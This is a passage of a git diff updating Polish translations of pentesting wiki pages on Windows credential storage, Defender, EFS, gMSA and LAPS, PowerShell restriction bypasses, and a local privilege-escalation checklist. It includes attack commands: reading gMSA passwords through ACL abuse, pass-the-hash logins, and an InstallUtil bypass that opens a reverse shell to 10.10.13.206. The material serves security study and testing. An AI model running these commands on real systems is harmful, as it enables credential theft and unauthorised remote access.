poświadczeń -### Security Accounts Manager (SAM) +### Menedżer Kont Bezpieczeństwa (SAM) -Lokalne poświadczenia znajdują się w tym pliku, hasła są haszowane. +Lokalne poświadczenia znajdują się w tym pliku; hasła są przechowywane w postaci haszy. -### Local Security Authority (LSA) - LSASS +### Lokalny Autorytet Bezpieczeństwa (LSA) - LSASS -**Poświadczenia** (zahashowane) są **zapisywane** w **pamięci** tego podsystemu z powodów Single Sign-On.\ -**LSA** zarządza lokalną **polityką bezpieczeństwa** (polityka haseł, uprawnienia użytkowników...), **uwierzytelnianiem**, **tokenami dostępu**...\ -To **LSA** będzie **sprawdzać** podane poświadczenia w pliku **SAM** (dla lokalnego logowania) i **komunikować się** z **kontrolerem domeny**, aby uwierzytelnić użytkownika domenowego. +Poświadczenia (hashe) są zapisywane w pamięci tego podsystemu ze względu na Single Sign-On.\ +LSA zarządza lokalną **polityką bezpieczeństwa** (polityką haseł, uprawnieniami użytkowników...), **uwierzytelnianiem**, **tokenami dostępu**...\ +LSA będzie tym, który **sprawdzi** podane poświadczenia w pliku **SAM** (dla logowania lokalnego) i **skontaktuje się** z **kontrolerem domeny**, aby uwierzytelnić użytkownika domenowego. -**Poświadczenia** są **przechowywane** wewnątrz procesu **LSASS**: bilety Kerberos, hashe NT i LM, łatwo odszyfrowywane hasła. +Poświadczenia są zapisywane w procesie **LSASS**: bilety Kerberos, hashe NT i LM, łatwo odszyfrowywalne hasła. -### LSA secrets +### Sekrety LSA -LSA może zapisywać na dysku niektóre poświadczenia: +LSA może zapisać na dysku niektóre poświadczenia: - Hasło konta komputera w Active Directory (gdy kontroler domeny jest niedostępny). -- Hasła kont usług Windows -- Hasła zadań zaplanowanych -- Inne (hasła aplikacji IIS...) +- Hasła kont usług Windows. +- Hasła dla zaplanowanych zadań. +- Inne (hasło aplikacji IIS...). ### NTDS.dit -To jest baza danych Active Directory. Obecna tylko na kontrolerach domeny. +Jest to baza danych Active Directory. Występuje tylko na kontrolerach domeny. ## Defender -[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) to antywirus dostępny w Windows 10 i Windows 11 oraz we wersjach Windows Server. **Blokuje** popularne narzędzia do pentestingu takie jak **`WinPEAS`**. Istnieją jednak sposoby, by **obejść te zabezpieczenia**. +[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) to antywirus dostępny w Windows 10 i Windows 11 oraz w wersjach Windows Server. Blokuje popularne narzędzia pentestingowe, takie jak **`WinPEAS`**. Istnieją jednak sposoby na obejście tych zabezpieczeń. -### Check +### Sprawdzenie -Aby sprawdzić **status** **Defender**, możesz uruchomić cmdlet PS **`Get-MpComputerStatus`** (sprawdź wartość **`RealTimeProtectionEnabled`**, aby dowiedzieć się, czy jest aktywny): +Aby sprawdzić **status** Defendera możesz uruchomić cmdlet PowerShell **`Get-MpComputerStatus`** (sprawdź wartość **`RealTimeProtectionEnabled`**, aby dowiedzieć się, czy jest aktywny): 
PS C:\> Get-MpComputerStatus
 
@@ -92,7 +92,7 @@ NISEngineVersion                : 0.0.0.0
 PSComputerName                  :
-Aby go wyenumerować, możesz również uruchomić: +Aby je wyenumerować możesz także uruchomić: ```bash WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List wmic /namespace:\\root\securitycenter2 path antivirusproduct @@ -103,34 +103,34 @@ sc query windefend ``` ## Szyfrowany system plików (EFS) -EFS zabezpiecza pliki przez szyfrowanie, wykorzystując **klucz symetryczny** znany jako **File Encryption Key (FEK)**. Ten klucz jest zaszyfrowany za pomocą **klucza publicznego** użytkownika i przechowywany w $EFS **alternative data stream** zaszyfrowanego pliku. Gdy wymagana jest deszyfracja, odpowiedni **klucz prywatny** certyfikatu cyfrowego użytkownika jest używany do odszyfrowania FEK ze strumienia $EFS. Więcej informacji znajduje się [tutaj](https://en.wikipedia.org/wiki/Encrypting_File_System). +EFS zabezpiecza pliki przez szyfrowanie, wykorzystując **symetryczny klucz** znany jako **File Encryption Key (FEK)**. Ten klucz jest szyfrowany przy użyciu **klucza publicznego** użytkownika i przechowywany w $EFS **alternative data stream** zaszyfrowanego pliku. Gdy potrzebne jest odszyfrowanie, odpowiadający **klucz prywatny** certyfikatu cyfrowego użytkownika jest używany do odszyfrowania FEK ze strumienia $EFS. Więcej informacji można znaleźć [tutaj](https://en.wikipedia.org/wiki/Encrypting_File_System). -**Scenariusze deszyfracji bez udziału użytkownika** obejmują: +**Scenariusze odszyfrowania bez inicjacji przez użytkownika** obejmują: - Gdy pliki lub foldery są przenoszone do systemu plików nieobsługującego EFS, takiego jak [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), są one automatycznie odszyfrowywane. - Zaszyfrowane pliki wysyłane przez sieć za pomocą protokołu SMB/CIFS są odszyfrowywane przed transmisją. -Ta metoda szyfrowania umożliwia właścicielowi **transparentny dostęp** do zaszyfrowanych plików. Jednak samo zmienienie hasła właściciela i zalogowanie się nie umożliwi deszyfracji. +Ta metoda szyfrowania pozwala na **przezroczysty dostęp** do zaszyfrowanych plików dla właściciela. Jednak samo zmienienie hasła właściciela i zalogowanie się nie umożliwi odszyfrowania. -Najważniejsze wnioski: +**Kluczowe wnioski**: -- EFS używa symetrycznego FEK, zaszyfrowanego kluczem publicznym użytkownika. -- Do deszyfracji używany jest klucz prywatny użytkownika, by uzyskać dostęp do FEK. -- Automatyczna deszyfracja zachodzi w określonych warunkach, np. przy kopiowaniu na FAT32 lub przesyłaniu przez sieć. +- EFS używa symetrycznego FEK, szyfrowanego kluczem publicznym użytkownika. +- Odszyfrowanie wykorzystuje klucz prywatny użytkownika do dostępu do FEK. +- Automatyczne odszyfrowanie występuje w określonych warunkach, np. przy kopiowaniu na FAT32 lub transmisji sieciowej. - Zaszyfrowane pliki są dostępne dla właściciela bez dodatkowych kroków. ### Sprawdź informacje o EFS -Sprawdź, czy **użytkownik** korzystał z tej **usługi**, sprawdzając, czy istnieje ta ścieżka: `C:\users\\appdata\roaming\Microsoft\Protect` +Sprawdź, czy **użytkownik** **używał** tej **usługi**, sprawdzając, czy istnieje ta ścieżka: `C:\users\\appdata\roaming\Microsoft\Protect` -Sprawdź, **kto** ma **dostęp** do pliku używając cipher /c \ +Sprawdź **kto** ma **dostęp** do pliku używając cipher /c \ Możesz też użyć `cipher /e` i `cipher /d` wewnątrz folderu, aby **zaszyfrować** i **odszyfrować** wszystkie pliki ### Odszyfrowywanie plików EFS -#### Uzyskanie uprawnień SYSTEM +#### Posiadanie uprawnień SYSTEM -Ta metoda wymaga, żeby **użytkownik-ofiara** miał na hoście uruchomiony **proces**. Jeśli tak jest, używając sesji `meterpreter` możesz zaimpersonować token procesu tego użytkownika (`impersonate_token` z `incognito`). Alternatywnie możesz po prostu `migrate` do procesu użytkownika. +Ta metoda wymaga, aby **ofiarowany użytkownik** miał uruchomiony **proces** na hoście. Jeśli tak jest, używając sesji `meterpreter` możesz podszyć się pod token procesu użytkownika (`impersonate_token` z `incognito`). Lub możesz po prostu `migrate` do procesu użytkownika. #### Znając hasło użytkownika @@ -139,66 +139,66 @@ Ta metoda wymaga, żeby **użytkownik-ofiara** miał na hoście uruchomiony **pr https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files {{#endref}} -## Grupowe konta usług zarządzanych (gMSA) +## Grupowe zarządzane konta usług (gMSA) -Microsoft opracował **Group Managed Service Accounts (gMSA)**, aby uprościć zarządzanie kontami usług w infrastrukturach IT. W przeciwieństwie do tradycyjnych kont usługowych, które często mają ustawienie "**Password never expire**", gMSA oferują bezpieczniejsze i łatwiejsze w zarządzaniu rozwiązanie: +Microsoft opracował **Group Managed Service Accounts (gMSA)**, aby uprościć zarządzanie kontami usług w infrastrukturach IT. W przeciwieństwie do tradycyjnych kont usług, które często mają włączone ustawienie "**Password never expire**", gMSA oferują bezpieczniejsze i łatwiejsze w zarządzaniu rozwiązanie: -- **Automatyczne zarządzanie hasłem**: gMSA używają złożonego, 240-znakowego hasła, które automatycznie zmienia się zgodnie z polityką domeny lub komputera. Proces ten jest obsługiwany przez Key Distribution Service (KDC) Microsoftu, eliminując potrzebę ręcznych aktualizacji haseł. -- **Zwiększone bezpieczeństwo**: Konta te są odporne na blokady i nie mogą być używane do interaktywnych logowań, co podnosi ich bezpieczeństwo. -- **Obsługa wielu hostów**: gMSA mogą być współdzielone na wielu hostach, co czyni je idealnymi dla usług działających na wielu serwerach. -- **Możliwość uruchamiania zadań zaplanowanych**: W przeciwieństwie do managed service accounts, gMSA obsługują uruchamianie scheduled tasks. -- **Uproszczone zarządzanie SPN**: System automatycznie aktualizuje Service Principal Name (SPN), gdy następują zmiany w szczegółach sAMaccount komputera lub jego nazwie DNS, upraszczając zarządzanie SPN. +- **Automatyczne zarządzanie hasłami**: gMSA używają złożonego, 240-znakowego hasła, które automatycznie zmienia się zgodnie z polityką domeny lub komputera. Proces ten jest obsługiwany przez Key Distribution Service (KDC) Microsoftu, eliminując potrzebę ręcznej aktualizacji haseł. +- **Zwiększone bezpieczeństwo**: te konta są odporne na blokady i nie mogą być używane do logowań interaktywnych, co podnosi ich bezpieczeństwo. +- **Wsparcie dla wielu hostów**: gMSA mogą być współdzielone pomiędzy wieloma hostami, co czyni je idealnymi dla usług uruchamianych na wielu serwerach. +- **Możliwość uruchamiania zaplanowanych zadań**: w przeciwieństwie do managed service accounts, gMSA obsługują uruchamianie zadań zaplanowanych. +- **Uproszczone zarządzanie SPN**: system automatycznie aktualizuje Service Principal Name (SPN) przy zmianach danych sAMAccount komputera lub nazwy DNS, upraszczając zarządzanie SPN. -Hasła dla gMSA są przechowywane we właściwości LDAP _**msDS-ManagedPassword**_ i są automatycznie resetowane co 30 dni przez Domain Controllers (DC). To hasło, zaszyfrowany blob danych znany jako [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), może zostać pobrane jedynie przez uprawnionych administratorów oraz serwery, na których gMSA są zainstalowane, co zapewnia bezpieczne środowisko. Aby uzyskać dostęp do tych informacji, wymagane jest zabezpieczone połączenie takie jak LDAPS, lub połączenie musi być uwierzytelnione z 'Sealing & Secure'. +Hasła dla gMSA są przechowywane w atrybucie LDAP _**msDS-ManagedPassword**_ i są automatycznie resetowane co 30 dni przez Domain Controllers (DCs). To hasło, szyfrowany blob danych znany jako [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), może być pobrane tylko przez upoważnionych administratorów i serwery, na których gMSA są zainstalowane, zapewniając bezpieczne środowisko. Aby uzyskać ten zasób, wymagana jest zabezpieczona łączność, taka jak LDAPS, lub połączenie musi być uwierzytelnione z 'Sealing & Secure'. ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png) -To hasło można odczytać za pomocą [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** +Hasło to można odczytać za pomocą [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** ``` /GMSAPasswordReader --AccountName jkohler ``` [**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/) -Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**. +Sprawdź także tę [web page](https://cube0x0.github.io/Relaying-for-gMSA/) dotyczącą tego, jak przeprowadzić **NTLM relay attack**, aby **odczytać** **hasło** **gMSA**. -### Wykorzystywanie łańcuchowania ACL do odczytu zarządzanego hasła gMSA (GenericAll -> ReadGMSAPassword) +### Abusing ACL chaining to read gMSA managed password (GenericAll -> ReadGMSAPassword) -W wielu środowiskach użytkownicy o niskich uprawnieniach mogą pivotować do sekretów gMSA bez kompromitacji DC, wykorzystując błędnie skonfigurowane ACL obiektów: +W wielu środowiskach użytkownicy o niskich uprawnieniach mogą pivotować do sekretów gMSA bez kompromitacji DC, nadużywając źle skonfigurowanych ACL obiektów: -- Grupa, którą możesz kontrolować (np. poprzez GenericAll/GenericWrite), ma przyznane `ReadGMSAPassword` względem gMSA. -- Dodając siebie do tej grupy, odziedziczasz prawo do odczytu blobu `msDS-ManagedPassword` gMSA przez LDAP i uzyskania użytecznych poświadczeń NTLM. +- Grupie, którą możesz kontrolować (np. poprzez GenericAll/GenericWrite), przyznano `ReadGMSAPassword` nad gMSA. +- Dodając siebie do tej grupy, odziedziczasz prawo do odczytania blobu `msDS-ManagedPassword` gMSA przez LDAP i wyprowadzenia użytecznych poświadczeń NTLM. Typowy przebieg: -1) Odkryj ścieżkę za pomocą BloodHound i oznacz swoje foothold principals jako Owned. Szukaj krawędzi takich jak: +1) Odkryj ścieżkę za pomocą BloodHound i oznacz swoje foothold principals jako Owned. Szukaj relacji takich jak: - GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA 2) Dodaj siebie do pośredniej grupy, którą kontrolujesz (przykład z bloodyAD): ```bash bloodyAD --host -d -u -p add groupMember ``` -3) Odczytaj zarządzane hasło gMSA przez LDAP i uzyskaj hash NTLM. NetExec automatyzuje ekstrakcję `msDS-ManagedPassword` i konwersję na NTLM: +3) Odczytaj zarządzane hasło gMSA przez LDAP i wyprowadź hash NTLM. NetExec automatyzuje ekstrakcję `msDS-ManagedPassword` i konwersję do NTLM: ```bash # Shows PrincipalsAllowedToReadPassword and computes NTLM automatically netexec ldap -u -p --gmsa # Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f ``` -4) Uwierzytelnij się jako gMSA, używając NTLM hash (no plaintext needed). Jeśli konto znajduje się w Remote Management Users, WinRM będzie działać bezpośrednio: +4) Uwierzytelnij się jako gMSA używając hashu NTLM (no plaintext needed). Jeśli konto znajduje się w Remote Management Users, WinRM zadziała bezpośrednio: ```bash # SMB / WinRM as the gMSA using the NT hash netexec smb -u 'mgtsvc$' -H netexec winrm -u 'mgtsvc$' -H ``` Notatki: -- LDAP reads of `msDS-ManagedPassword` require sealing (e.g., LDAPS/sign+seal). Tools handle this automatically. -- gMSAs są często przydzielane lokalne uprawnienia, takie jak WinRM; sprawdź członkostwo w grupie (np. Remote Management Users), aby zaplanować lateral movement. +- Odczyty LDAP `msDS-ManagedPassword` wymagają sealingu (np. LDAPS/sign+seal). Narzędzia obsługują to automatycznie. +- gMSAs często otrzymują lokalne uprawnienia, takie jak WinRM; sprawdź członkostwo w grupach (np. Remote Management Users), aby zaplanować lateral movement. - Jeśli potrzebujesz tylko blobu, aby samodzielnie obliczyć NTLM, zobacz strukturę MSDS-MANAGEDPASSWORD_BLOB. ## LAPS -The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), umożliwia zarządzanie hasłami lokalnego konta Administrator. Te hasła, które są **losowe**, unikatowe i **regularnie zmieniane**, są przechowywane centralnie w Active Directory. Dostęp do tych haseł jest ograniczony przez ACLs do uprawnionych użytkowników. Przy przydzieleniu wystarczających uprawnień możliwy jest odczyt lokalnych haseł administratora. +The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), umożliwia zarządzanie hasłami konta lokalnego Administratora. Hasła te, które są losowo generowane, unikatowe i regularnie zmieniane, są przechowywane centralnie w Active Directory. Dostęp do tych haseł jest ograniczony przez ACL do upoważnionych użytkowników. Jeśli przyznane są odpowiednie uprawnienia, możliwy jest odczyt haseł lokalnego administratora. {{#ref}} @@ -207,20 +207,20 @@ The **Local Administrator Password Solution (LAPS)**, available for download fro ## PS Constrained Language Mode -PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **ogranicza wiele funkcji** potrzebnych do efektywnego korzystania z PowerShell, takich jak blokowanie obiektów COM, zezwalanie tylko na zatwierdzone typy .NET, workflow oparte na XAML, klasy PowerShell i inne. +PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **ogranicza wiele funkcji** potrzebnych do efektywnego używania PowerShell, takich jak blokowanie obiektów COM, zezwalanie tylko na zatwierdzone typy .NET, workflow oparty na XAML, klasy PowerShell i inne. ### **Sprawdź** ```bash $ExecutionContext.SessionState.LanguageMode #Values could be: FullLanguage or ConstrainedLanguage ``` -### Omijanie +### Bypass ```bash #Easy bypass Powershell -version 2 ``` -W aktualnych wersjach Windows to obejście nie będzie działać, ale możesz użyć[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ -**Aby to skompilować, może być konieczne** **to** _**Dodanie odwołania**_ -> _Przeglądaj_ -> _Przeglądaj_ -> dodaj `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` oraz **zmień projekt na .Net4.5**. +W obecnych wersjach Windows ten Bypass nie zadziała, ale możesz użyć[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ +**Aby to skompilować, może być konieczne** **aby** _**Add a Reference**_ -> _Browse_ ->_Browse_ -> dodaj `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` i **change the project to .Net4.5**. #### Direct bypass: ```bash @@ -230,7 +230,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` -Możesz użyć [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) lub [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) aby **execute Powershell** code w dowolnym procesie i obejść constrained mode. Więcej informacji: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). +Możesz użyć [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) lub [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick), aby **wykonać kod Powershell** w dowolnym procesie i ominąć tryb ograniczony. Więcej informacji: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). ## PS Execution Policy @@ -254,39 +254,39 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'" 9º Use EncodeCommand $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand ``` -More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) +Więcej informacji można znaleźć [tutaj](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) -## Interfejs Security Support Provider (SSPI) +## Security Support Provider Interface (SSPI) -Jest to API, które można wykorzystać do uwierzytelniania użytkowników. +To API, które może być użyte do uwierzytelniania użytkowników. -SSPI odpowiada za znalezienie odpowiedniego protokołu dla dwóch maszyn, które chcą się komunikować. Preferowaną metodą jest Kerberos. Następnie SSPI negocjuje, który protokół uwierzytelniania zostanie użyty — te protokoły uwierzytelniania nazywane są Security Support Provider (SSP), znajdują się na każdej maszynie Windows w postaci DLL i obie maszyny muszą obsługiwać ten sam SSP, aby mogły się komunikować. +SSPI odpowiada za znalezienie odpowiedniego protokołu dla dwóch maszyn, które chcą się komunikować. Preferowaną metodą jest Kerberos. SSPI negocjuje, który protokół uwierzytelniania zostanie użyty; protokoły te nazywane są Security Support Provider (SSP), znajdują się na każdej maszynie Windows w formie DLL i obie maszyny muszą obsługiwać ten sam, aby mogły się komunikować. -### Główne SSP +### Main SSPs - **Kerberos**: Preferowany - %windir%\Windows\System32\kerberos.dll -- **NTLMv1** i **NTLMv2**: Ze względów zgodności +- **NTLMv1** and **NTLMv2**: Dla kompatybilności - %windir%\Windows\System32\msv1_0.dll - **Digest**: Serwery WWW i LDAP, hasło w postaci skrótu MD5 - %windir%\Windows\System32\Wdigest.dll - **Schannel**: SSL i TLS - %windir%\Windows\System32\Schannel.dll -- **Negotiate**: Służy do negocjacji protokołu do użycia (Kerberos lub NTLM, domyślnie Kerberos) +- **Negotiate**: Używany do negocjowania protokołu (Kerberos lub NTLM; domyślnie Kerberos) - %windir%\Windows\System32\lsasrv.dll #### Negocjacja może zaoferować kilka metod lub tylko jedną. ## UAC - User Account Control -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) to funkcja, która umożliwia **wyświetlanie monitów o zgodę dla działań wymagających podniesionych uprawnień**. +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) to funkcja, która umożliwia **wyświetlanie monitu o zgodę przy operacjach wymagających podwyższenia uprawnień**. {{#ref}} uac-user-account-control.md {{#endref}} -## References +## Źródła - [Relaying for gMSA – cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/) - [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader) diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index 49cbb8dc3..d0fa7ac89 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -1,115 +1,115 @@ -# Lista kontrolna - lokalna eskalacja uprawnień w Windows +# Lista kontrolna - Lokalna eskalacja uprawnień w Windows {{#include ../banners/hacktricks-training.md}} -### **Najlepsze narzędzie do wyszukiwania wektorów lokalnej eskalacji uprawnień na Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Najlepsze narzędzie do wyszukiwania Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -### [Informacje o systemie](windows-local-privilege-escalation/index.html#system-info) +### [System Info](windows-local-privilege-escalation/index.html#system-info) -- [ ] Uzyskaj [**informacje o systemie**](windows-local-privilege-escalation/index.html#system-info) -- [ ] Przeszukaj w poszukiwaniu **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) -- [ ] Użyj **Google** do wyszukania kernel **exploits** -- [ ] Użyj **searchsploit** do wyszukania kernel **exploits** -- [ ] Interesujące informacje w [**env vars**](windows-local-privilege-escalation/index.html#environment)? +- [ ] Uzyskaj [**System information**](windows-local-privilege-escalation/index.html#system-info) +- [ ] Wyszukaj **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) +- [ ] Użyj **Google to search** for kernel **exploits** +- [ ] Użyj **searchsploit to search** for kernel **exploits** +- [ ] Ciekawe informacje w [**env vars**](windows-local-privilege-escalation/index.html#environment)? - [ ] Hasła w [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)? -- [ ] Interesujące informacje w [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)? +- [ ] Ciekawe informacje w [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)? - [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)? - [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)? - [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)? -### [Logowanie/inkrementacja AV](windows-local-privilege-escalation/index.html#enumeration) +### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration) -- [ ] Sprawdź ustawienia [**Audit**](windows-local-privilege-escalation/index.html#audit-settings) i [**WEF**](windows-local-privilege-escalation/index.html#wef) +- [ ] Sprawdź [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) i [**WEF** ](windows-local-privilege-escalation/index.html#wef) ustawienia - [ ] Sprawdź [**LAPS**](windows-local-privilege-escalation/index.html#laps) -- [ ] Sprawdź, czy [**WDigest**](windows-local-privilege-escalation/index.html#wdigest) jest aktywny +- [ ] Sprawdź czy [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) jest aktywny - [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)? - [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) - [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)? -- [ ] Sprawdź, czy jest jakiś [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) +- [ ] Sprawdź czy jakikolwiek [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) - [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? - [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) - [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] Sprawdź [**aktualne** uprawnienia użytkownika](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] Czy jesteś [**członkiem jakiejś uprzywilejowanej grupy**](windows-local-privilege-escalation/index.html#privileged-groups)? -- [ ] Sprawdź, czy masz włączone któryś z tych tokenów (SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege) [any of these tokens enabled](windows-local-privilege-escalation/index.html#token-manipulation)? +- [ ] Sprawdź [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups) +- [ ] Czy jesteś [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)? +- [ ] Sprawdź czy masz [any of these tokens enabled](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? - [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)? -- [ ] Sprawdź [**katalogi domowe użytkowników**](windows-local-privilege-escalation/index.html#home-folders) (dostęp?) +- [ ] Sprawdź [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (dostęp?) - [ ] Sprawdź [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) -- [ ] Co jest [**w schowku (Clipboard)**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? +- [ ] Co jest [ **inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)? -### [Sieć](windows-local-privilege-escalation/index.html#network) +### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] Sprawdź **aktualne** [**informacje sieciowe**](windows-local-privilege-escalation/index.html#network) -- [ ] Sprawdź ukryte lokalne usługi ograniczone do zewnątrz +- [ ] Sprawdź **current** [**network** **information**](windows-local-privilege-escalation/index.html#network) +- [ ] Sprawdź **ukryte lokalne usługi** ograniczone na dostęp z zewnątrz -### [Uruchomione procesy](windows-local-privilege-escalation/index.html#running-processes) +### [Running Processes](windows-local-privilege-escalation/index.html#running-processes) - [ ] Uprawnienia do plików i folderów binarek procesów [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) - [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) - [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) -- [ ] Wykradnij poświadczenia z **interesujących procesów** używając `ProcDump.exe` ? (firefox, chrome, itd...) +- [ ] Ukradnij poświadczenia z **interesujących procesów** za pomocą `ProcDump.exe` ? (firefox, chrome, etc ...) -### [Usługi](windows-local-privilege-escalation/index.html#services) +### [Services](windows-local-privilege-escalation/index.html#services) -- [ ] [Czy możesz **zmodyfikować jakąkolwiek usługę**?](windows-local-privilege-escalation/index.html#permissions) -- [ ] [Czy możesz **zmodyfikować** **binarkę** uruchamianą przez którąkolwiek **usługę**?](windows-local-privilege-escalation/index.html#modify-service-binary-path) -- [ ] [Czy możesz **zmodyfikować** **rejestr** którejkolwiek **usługi**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) -- [ ] [Czy możesz wykorzystać niektóry **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths) +- [ ] Czy możesz **modyfikować jakąkolwiek usługę**? (Can you **modify any service**?) +- [ ] Czy możesz **zmodyfikować** **binarkę** która jest **wykonywana** przez którąkolwiek **usługę**? (Can you **modify** the **binary** that is **executed** by any **service**?) +- [ ] Czy możesz **zmodyfikować** **rejestr** dowolnej **usługi**? (Can you **modify** the **registry** of any **service**?) +- [ ] Czy możesz wykorzystać jakąkolwiek nieprawidłowo zacytowaną ścieżkę binarki usługi? (Can you take advantage of any **unquoted service** binary **path**?) -### [Aplikacje](windows-local-privilege-escalation/index.html#applications) +### [**Applications**](windows-local-privilege-escalation/index.html#applications) -- [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions) +- [ ] **Write** uprawnienia na zainstalowanych 